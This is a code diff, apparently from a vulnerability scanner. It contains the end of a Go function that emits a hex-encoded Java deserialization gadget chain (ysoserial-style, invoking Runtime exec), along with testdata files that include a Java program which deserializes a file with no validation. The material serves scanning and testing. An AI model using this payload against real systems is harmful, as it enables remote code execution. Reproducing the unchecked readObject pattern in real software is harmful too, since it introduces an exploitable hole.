suffix, _ := hex.DecodeString("08003201000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003400350A002D003601002179736F73657269616C2F4A6578426F7373323434393535333834303536333337380100234C79736F73657269616C2F4A6578426F7373323434393535333834303536333337383B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000001C000E0000000C000100000005000F003900000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000001F000E00000020000300000001000F0039000000000001001500160001000000010017001800020019000000040001001A00010013001B0003000C000000490000000400000001B100000002000D00000006000100000022000E0000002A000400000001000F003900000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A0020000000060001002100000008002B000B0001000C0000001B000300020000000FA70003014CB800311233B6003757B1000000000002002200000002002300110000000A000100020025001000097571007E000D0000019BCAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100124C7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A0100107574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501000C7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000026000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200024C000564756D6D797400124C6A6176612F6C616E672F4F626A6563743B4C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B7870737200296A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E74657874537570706F7274BC4820F0918FB90C03000149000C73657269616C697A61626C657872002E6A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E746578744368696C64537570706F727457D4EFC704DC72250200014C00146265616E436F6E746578744368696C64506565727400294C6A6176612F6265616E732F6265616E636F6E746578742F4265616E436F6E746578744368696C643B787071007E0019000000017372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50300024C0004747970657400114C6A6176612F6C616E672F436C6173733B4C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B78707672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787704000000007871007E001D78")
buffer.Write(suffix)
return buffer.Bytes()
}

11
v2/pkg/protocols/common/helpers/deserialization/testdata/README.md vendored Normal file
View File

@ -0,0 +1,11 @@
# testdata
### Test Unsafe Java Deserialization
```
javac java-deserialize.java ValueObject.java
# generate payload and write to ValueObject2.ser
java Deserialize
```
Modified From: https://snyk.io/blog/serialization-and-deserialization-in-java/

15
v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.java vendored Normal file
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@ -0,0 +1,15 @@
import java.io.*;
public class ValueObject implements Serializable {
private String value;
private String sideEffect;
public ValueObject() {
this("empty");
}
public ValueObject(String value) {
this.value = value;
this.sideEffect = java.time.LocalTime.now().toString();
}
}

30
v2/pkg/protocols/common/helpers/deserialization/testdata/java-deserialize.java vendored Normal file
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import java.io.*;
class Deserialize{
public static void main(String args[]) {
FileInputStream fileIn = null;
ObjectInputStream in = null;
ValueObject vo2 = null;
try {
fileIn = new FileInputStream("ValueObject2.ser");
}
catch(FileNotFoundException e) {
e.printStackTrace();
}
try {
in = new ObjectInputStream(fileIn);
}
catch(IOException e) {
e.printStackTrace();
}
try {
vo2 = (ValueObject) in.readObject();
}
catch(Exception e) {
e.printStackTrace();
}
System.out.println(vo2);
}
}